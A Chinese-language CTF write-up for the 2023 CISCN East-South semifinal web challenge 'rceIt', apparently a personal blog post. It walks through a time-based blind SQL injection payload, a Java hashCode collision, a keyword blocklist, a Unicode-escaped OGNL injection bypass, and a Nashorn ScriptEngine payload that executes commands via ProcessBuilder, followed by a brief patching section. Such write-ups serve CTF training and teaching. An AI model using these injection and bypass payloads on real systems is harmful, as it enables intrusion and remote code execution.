2023年CISCN华东南半决赛Web rceIt 题解

在现场,没做出来,比完赛在动车上做的,有些点写的可能不是很好,请谅解

Attack

题目是一个Spring Boot框架,结合题目提示和题目界面,猜测要让我们注出登陆用户名,然后进行下一步操作

第一个漏洞点是SQL注入

public String getUserByName(String name){
    String s = new SQL() {
        {
            SELECT("*");
            FROM("users");
            WHERE("username='"+name+"'");
        }
    }.toString();
    System.out.println("\n\n" + s + "\n\n");
    return s;
}

简单的闭合,但是过滤了大多数查询语句,select、insert、啥的,在FilterUtil类里可以看到

但唯独没有过滤sleep,猜测是延时盲注,报错不太可能,他这一报服务就500,所以直接盲注构造SQL语句写个脚本跑一下就完事了

admin')&&/**/sleep(2*(ascii(substr(database(),"+str(i)+",1))/**/REGEXP/**/"+str(j)+"))#

这里注出来一个用户名,为 C1S3N_HUa_D_N_41NaL!,登陆进去后跳到一个留言板,在63行有一个hashCode比较漏洞,和虎符那题一摸一样,所以我们只要构造一个简单的式子让他们内容不相等但hashCode相等即可

参考这个式子,自己逆推一下即可

s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]

比如给了0306,计算后的hash就是1\x1406

然后填上message和name就可以留言了,这里有个很恶心的点,就是服务报错的话会重新更新一个secret值

然后就是表达式利用了,mybatis可以直接执行ognl表达式,具体利用方法可以看这篇文章,OGNL表达式注入漏洞总结 [ Mi1k7ea ]

${@[类全名(包括包路径)]@[方法名|值名]}

可以先构造个延时看看存不存在表达式注入

@[email protected](2)

但是这里过滤了一大堆java语句,这个很好绕过直接unicode全编码就完事了,这样keyFilter就没有用了

“framework”,”getClass”,”ClassLoader”,”update”,”values”,”set”,”ProcessBuilder”,”thymeleaf”,”mybatis”,”wrapAsAPI”,”getRuntime”,”exec”,”getStaticModels”,”spring”, “Runtime”,”select”,”java”,”WHERE”,”delete”, “drop”, “truncate”,”invoke”,”Manage”,”script”, “gson”,”mysql”,”org”,”Gson”,”com”,”lang”

${\u0040\u006A\u0061\u0076\u0061\u002E\u0075\u0074\u0069\u006C\u002E\u0063\u006F\u006E\u0063\u0075\u0072\u0072\u0065\u006E\u0074\u002E\u0054\u0069\u006D\u0065\u0055\u006E\u0069\u0074\u0040\u0053\u0045\u0043\u004F\u004E\u0044\u0053\u002E\u0073\u006C\u0065\u0065\u0070\u0028\u0032\u0029}

然后rce读根目录下的flag即可,注意,这里版本是jdk1.8,20版本执行下面语句好像会报空指针异常

${new+javax.script.ScriptEngineManager().getEngineByName("nashorn").eval('(new+java.io.BufferedReader(new+java.io.InputStreamReader(new+java.lang.ProcessBuilder("calc").start().getInputStream(),+"GBK")).readLine())')}

Fix

因为题目是用Spring Boot搭的,所以很好打包,基本上直接替换即可,然后传个war包,打包有两种解决办法,一种是解压替换war包里边的字节码文件(要手动编译),另外一种是IDEA的Build Artifacts,两种都能顺利patch成功,看个人习惯()

这题很好fix,sql就过滤个sleep,表达式就过滤个eval,实在不行就上个通防,都可以过的

#!/bin/sh
mv -f ROOT.war /opt/tomcat/webapps/ROOT.war
sh /opt/tomcat/bin/shutdown.sh
nohup sh /opt/tomcat/bin/catalina.sh run > myout.txt 2>&1 &
文章《2023年CISCN华东南半决赛Web rceIt 题解》采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: www.bilibili.com
Source: ななひら
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
嘉然
ななひら
小恐龙
花!
上一篇
下一篇